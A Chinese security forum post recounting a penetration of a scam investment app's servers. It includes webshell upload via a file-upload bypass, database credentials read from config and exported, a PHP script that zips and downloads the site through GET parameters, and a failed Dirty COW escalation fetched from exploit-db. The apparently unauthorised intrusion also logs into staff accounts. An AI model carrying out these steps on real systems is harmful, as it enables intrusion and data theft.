安全矩阵

 找回密码
 立即注册
搜索
查看: 989|回复: 0

记一次APP的渗透之旅

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-4 18:57:36 | 显示全部楼层 |阅读模式
原文链接:记一次APP的渗透之旅

所谓“杀猪盘”,是指诈骗分子利用网络交友通常是异性交友,诱导受害人下载诈骗APP并在上面进行各种“投资”,如博彩、股票、期货甚至虚拟货币的网络诈骗。今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为午夜乐园的APP进行投资,果不其然小白被成功骗取10余万。
0x01 APP测试准备根据小白的描述,我们关注到以下几点信息,分别是 QQ、“心动”APP以及“午夜乐园”APP,但是小白因不堪被骗将骗子QQ删除了。所以我们无法从QQ号这点进行入手,但是这两个APP的APK包倒是存在,于是开始渗透分析。
安装APP使用夜神模拟器安装这两个APP,为了方便起见就使用安卓5.0版本,否则无法抓取到 https 数据包
小知识:从 Android 7.0 开始,默认的网络安全性配置修改,默认不再信任用户添加的 CA 证书,也就不再信任抓包工具的证书
​因为“午夜乐园”APP需要邀请码才能注册,所以我们先安装“心动”APP
设置抓包在 BurpSuite 中设置监听地址以及监听端口,其中地址为内网的IP地址

设置网络中的 HTTP 代理为 BurpSuite 中的代理地址和端口

访问百度,在 Burp Suite 中成功抓取到数据包​现在针对 http 协议的数据包都可以抓取到了
安装证书接下来为了抓取到 https 的数据包,我们需要为其安装 CA 证书​访问https://burp点击CA开始下载证书,下载完成后在设置中找到安全​选择从SD卡安装​选择之前下载的证书并为证书命名

在用户凭据中已存在证书

访问https://www.baidu.com

在 Burp Suite 中成功抓取到 https 数据包
0x02 上线shell初探上传漏洞在APP中注册一个测试账号

发现在发布动态处存在文件上传
​​


使用 Burp Suite 截取数据包,测试后发现目标站点只返回0或1

上传后在朋友圈界面发现该功能正常,那么对应的图片路径在哪呢?

通过抓包发现该图片的具体地址​修改数据包将其文件名后缀修改为php时则无法上传,可能存在防护机制

文件上传漏洞获取webshell尝试了几种绕过方式无果后,在朋友圈背景图片发现文件上传点,将冰蝎上传

幸运的是目标直接返回了木马地址,使用冰蝎连接目标

至此 webshell 成功上线,但可惜的是这是 docker 环境。同时为了维持对目标站点的控制,继续上传了一个哥斯拉马

0x03 信息收集查看当前环境查看当前用户为普通的 www 用户,能够执行一些简单的命令

查看文件管理,发现网站下存在 thinkphp 框架,开始寻找配置文件

数据库登录在配置文件中发现数据库连接文件
  1. return [
  2.     // 数据库类型
  3.     'type'            => Env::get('database.type', 'mysql'),
  4.     // 服务器地址
  5.     'hostname'        => Env::get('database.hostname', '192.168.0.59'),
  6.     // 数据库名
  7.     'database'        => Env::get('database.database', 'netchat'),
  8.     // 用户名
  9.     'username'        => Env::get('database.username', 'root'),
  10.     // 密码
  11.     'password'        => Env::get('database.password', 'MysqlNetchatPWD#'),
  12.     // 端口
  13.     'hostport'        => Env::get('database.hostport', '3305'),
  14. ];
复制代码


由于无法通过冰蝎无法连接数据库,我们上传 adminer 连接数据库,将服务器地址设置为192.168.0.59:3305,输入账号和密码

在 adminer 中选择数据库导出,将当前数据库直接打包下载

后台地址与账号密码​​
在数据库中还有些意外收获,里面包含了一些管理员的账号密码

经过解密后发现 admin666 密码为123456

查看 admin_log 表后发现登录地址为https://xx.xx.xx.xx/adim888/index/login

访问后为如下界面,我们只需要输入账号密码与谷歌验证码即可登录,为了不打草惊蛇未直接登录后台。

打包网站接下来为了方便分析,使用如下脚本打包整个网站进行下载
  1. <?php

  2. error_reporting(0);

  3. class PHPZip{
  4.     var $dirInfo = array("0","0");
  5.     var $datasec = array();
  6.     var $ctrl_dir = array();
  7.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  8.     var $old_offset   = 0;

  9.     function createZip($dir, $zipfilename){
  10.         if (@function_exists('gzcompress')){
  11.             @set_time_limit("0");
  12.             if (is_array($dir)){
  13.                 $fd = fopen ($dir, "r");
  14.                 $fileValue = fread ($fd, filesize ($filename));
  15.                 fclose ($fd);
  16.                 if (is_array($dir)) $filename = basename($dir);
  17.                 $this -> addFile($fileValue, "$filename");
  18.             }else{
  19.                 $this->dirTree($dir,$dir);
  20.             }

  21.             $out = $this -> filezip();
  22.             $fp = fopen($zipfilename, "w");
  23.             fwrite($fp, $out, strlen($out));
  24.             fclose($fp);
  25.             $filesize = filesize($zipfilename);

  26.             if ($filesize < 104857600) {
  27.                 echo "create zip success!";
  28.             } else {
  29.                 echo "create zip error!";
  30.             }        }
  31.      }

  32.     //get dir tree..
  33.     function dirTree($directory,$rootDir){
  34.         $fileDir = $rootDir;
  35.         $myDir = dir($directory);
  36.         while($file=$myDir->read()){
  37.             if(is_dir("$directory/$file") and $file!="." and $file!=".."){
  38.                 $this->dirInfo[0]++;
  39.                 $rootDir ="$fileDir$file/";
  40.                 $this -> addFile('', "$rootDir");

  41.                 //go on n's folders
  42.                 $this->dirTree("$directory/$file",$rootDir);
  43.             }else{
  44.                 if($file!="." and $file!=".."){
  45.                     $this->dirInfo[1]++;
  46.                     $fileValue = file_get_contents("$directory/$file");
  47.                     $this -> addFile($fileValue, "$fileDir$file");
  48.                 }
  49.             }
  50.         }
  51.         $myDir->close();
  52.     }

  53.     function unix2DosTime($unixtime = 0) {
  54.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);

  55.         if ($timearray['year'] < 1980) {
  56.              $timearray['year'] = 1980;
  57.              $timearray['mon'] = 1;
  58.              $timearray['mday'] = 1;
  59.              $timearray['hours'] = 0;
  60.              $timearray['minutes'] = 0;
  61.              $timearray['seconds'] = 0;
  62.         } // end if

  63.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  64.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  65.     }

  66.     function addFile($data, $name, $time = 0){
  67.         $name = str_replace('\\', '/', $name);

  68.         $dtime = dechex($this->unix2DosTime($time));
  69.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  70.                   . '\x' . $dtime[4] . $dtime[5]
  71.                   . '\x' . $dtime[2] . $dtime[3]
  72.                   . '\x' . $dtime[0] . $dtime[1];
  73.         eval('$hexdtime = "' . $hexdtime . '";');

  74.         $fr = "\x50\x4b\x03\x04";
  75.         $fr .= "\x14\x00";            // ver needed to extract
  76.         $fr .= "\x00\x00";            // gen purpose bit flag
  77.         $fr .= "\x08\x00";            // compression method
  78.         $fr .= $hexdtime;             // last mod time and date

  79.         // "local file header" segment
  80.         $unc_len = strlen($data);
  81.         $crc = crc32($data);
  82.         $zdata = gzcompress($data);
  83.         $c_len = strlen($zdata);
  84.         $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
  85.         $fr .= pack('V', $crc);             // crc32
  86.         $fr .= pack('V', $c_len);           // compressed filesize
  87.         $fr .= pack('V', $unc_len);         // uncompressed filesize
  88.         $fr .= pack('v', strlen($name));    // length of filename
  89.         $fr .= pack('v', 0);                // extra field length
  90.         $fr .= $name;

  91.         // "file data" segment
  92.         $fr .= $zdata;

  93.         // "data descriptor" segment (optional but necessary if archive is not
  94.         // served as file)
  95.         $fr .= pack('V', $crc);                 // crc32
  96.         $fr .= pack('V', $c_len);               // compressed filesize
  97.         $fr .= pack('V', $unc_len);             // uncompressed filesize

  98.         // add this entry to array
  99.         $this -> datasec[] = $fr;
  100.         $new_offset        = strlen(implode('', $this->datasec));

  101.         // now add to central directory record
  102.         $cdrec = "\x50\x4b\x01\x02";
  103.         $cdrec .= "\x00\x00";                // version made by
  104.         $cdrec .= "\x14\x00";                // version needed to extract
  105.         $cdrec .= "\x00\x00";                // gen purpose bit flag
  106.         $cdrec .= "\x08\x00";                // compression method
  107.         $cdrec .= $hexdtime;                 // last mod time & date
  108.         $cdrec .= pack('V', $crc);           // crc32
  109.         $cdrec .= pack('V', $c_len);         // compressed filesize
  110.         $cdrec .= pack('V', $unc_len);       // uncompressed filesize
  111.         $cdrec .= pack('v', strlen($name) ); // length of filename
  112.         $cdrec .= pack('v', 0 );             // extra field length
  113.         $cdrec .= pack('v', 0 );             // file comment length
  114.         $cdrec .= pack('v', 0 );             // disk number start
  115.         $cdrec .= pack('v', 0 );             // internal file attributes
  116.         $cdrec .= pack('V', 32 );            // external file attributes - 'archive' bit set

  117.         $cdrec .= pack('V', $this -> old_offset ); // relative offset of local header
  118.         $this -> old_offset = $new_offset;

  119.         $cdrec .= $name;

  120.         // optional extra field, file comment goes here
  121.         // save to central directory
  122.         $this -> ctrl_dir[] = $cdrec;
  123.     }

  124.     function filezip(){
  125.         $data = implode('', $this -> datasec);
  126.         $ctrldir = implode('', $this -> ctrl_dir);

  127.         return
  128.             $data .
  129.             $ctrldir .
  130.             $this -> eof_ctrl_dir .
  131.             pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries "on this disk"
  132.             pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries overall
  133.             pack('V', strlen($ctrldir)) .           // size of central dir
  134.             pack('V', strlen($data)) .              // offset to start of central dir
  135.             "\x00\x00";                             // .zip file comment length
  136.     }
  137. }

  138. $zip = new PHPZip();
  139. $path = $_GET['path'];
  140. $filename = $_GET['filename'];
  141. if (isset($path)&&isset($filename)) {
  142.     $zip -> createZip($path, $filename);
  143. } else {
  144.     echo "please input correct path and filename, like <a href=#>http://example.com?path=/home&filename=home.zip</a>";
  145. }

  146. ?>
复制代码


IP地址查询通过简单的sql语句对 admin 登录日志进行查询
select distinct ip from yl_admin_log limit 50

发现该站点的登录IP都是国外的IP,猜测网站管理员都是通过代理或本身就在国外访问的后台

而查询 yl_core_ip 表中发现了一个IP

查询微步后,该IP已经被打上了恶意地址标签

​​
0x04 权限提升由于当前权限比较低,我们也需要拿到 docker 环境下的 root 权限,但是我没有提权成功,自然也无法利用 docker 逃逸来跳到其真实环境下。这里演示下我使用脏牛提权的失败记录吧。
系统信息收集
  1. uname -a
  2. cat /etc/issue
复制代码



当前系统为 Debian GNU/Linux 10
漏洞查询上传linuxenum和linux-exploit-suggestor,赋予执行权限并执行
  1. chmod 777 linuxenum.sh
  2. chmod 777 linux-exploit-suggestor.sh
复制代码




脏牛提权通过 linux-exploit-suggestor 返回的结果,其中存在脏牛漏洞
  1. wget https://www.exploit-db.com/download/40616 ##这里我直接上传了
  2. mv 40616 cowroot.c
  3. ## 正式从这开始
  4. gcc cowroot.c -o cowroot -pthread
  5. chmod +x cowroot
  6. ./cowroot
复制代码


失败过程就不截图了
0x05 受骗分析及警示登录客服查看聊天记录在数据库中还有相关客服用户的账号密码,直接解码后面的 base64 编码就可以获取到明文

登录几个客服用户进行查看

杀猪盘流程这里我们也根据小白的注册时间找到了它的账号,为q123456x

通过注册IP确认该用户为受害人账号。但是尝试登录后发现该用户已经被锁定,在数据库中发现该用户的islogin为0,修改为1后还是无法登录,通过查看管理员的操作记录,发现其一直在封锁账号。

再根据几个客服的聊天记录,我们总结了”杀猪盘“流程
  1. 1、招揽有“交友”目的的年轻人
  2. 2、通过客服为其提供“服务”
  3. 3、安排”漂亮姐姐“骗取年轻人投资
  4. 4、年轻人欲望上头开始投资
  5. 5、最终被骗人财两空
复制代码


警示
  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="162" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%221%E3%80%81%E8%AD%A6%E6%83%95%E5%9C%A8%E6%9C%8B%E5%8F%8B%E5%9C%88%E5%92%8C%E7%A7%81%E8%81%8A%E4%B8%AD%E5%91%88%E7%8E%B0%E7%9A%84%E5%AE%8C%E7%BE%8E%E5%AF%B9%E8%B1%A1%EF%BC%8C%E5%AE%8C%E7%BE%8E%E4%BA%BA%E8%AE%BE%E5%BE%80%E5%BE%80%E5%B0%B1%E6%98%AF%E8%AF%B1%E9%A5%B5%5Cn2%E3%80%81%E5%88%87%E5%8B%BF%E5%92%8C%E9%99%8C%E7%94%9F%E4%BA%BA%E8%B0%88%E9%92%B1%E3%80%81%E4%B8%80%E8%B5%B7%E6%8A%95%E8%B5%84%EF%BC%8C%E8%AE%B0%E4%BD%8F%EF%BC%8C%E7%BD%91%E4%B8%8A%E2%80%9C%E5%AF%B9%E8%B1%A1%E2%80%9D%E4%B9%9F%E6%98%AF%E9%99%8C%E7%94%9F%E4%BA%BA%5Cn3%E3%80%81%E5%88%87%E5%8B%BF%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85%E7%BD%91%E4%B8%8A%E5%90%84%E7%B1%BB%E6%8A%95%E8%B5%84%E5%8D%9A%E5%BD%A9%C2%A0APP%E9%93%BE%E6%8E%A5%EF%BC%8C%E4%B8%8D%E8%A6%81%E5%9C%A8%E6%9C%AA%E9%AA%8C%E8%AF%81%E7%BD%91%E7%AB%99%E6%8A%95%E8%B5%84%5Cn4%E3%80%81%E4%B8%8D%E5%90%91%E6%9C%AA%E9%AA%8C%E8%AF%81%E7%9A%84%E9%99%8C%E7%94%9F%E8%B4%A6%E6%88%B7%E8%BD%AC%E8%B4%A6%E6%B1%87%E6%AC%BE%5Cn5%E3%80%81%E4%B8%8D%E8%A6%81%E5%8F%82%E4%B8%8E%E7%BD%91%E4%B8%8A%E5%8D%9A%E5%BD%A9%EF%BC%8C%E6%B6%89%E5%AB%8C%E8%BF%9D%E6%B3%95%E3%80%82%5Cn6%E3%80%81%E4%B8%8D%E8%A6%81%E8%A2%AB%E6%AC%B2%E6%9C%9B%E5%86%B2%E6%98%8F%E4%BA%86%E5%A4%B4%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">1、警惕在朋友圈和私聊中呈现的完美对象,完美人设往往就是诱饵
  2. 2、切勿和陌生人谈钱、一起投资,记住,网上“对象”也是陌生人
  3. 3、切勿下载安装网上各类投资博彩 APP链接,不要在未验证网站投资
  4. 4、不向未验证的陌生账户转账汇款
  5. 5、不要参与网上博彩,涉嫌违法。
  6. 6、不要被欲望冲昏了头</code></pre>
  7. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>


  8. <span data-cke-copybin-end="1">​</span>
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:21 , Processed in 0.014596 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表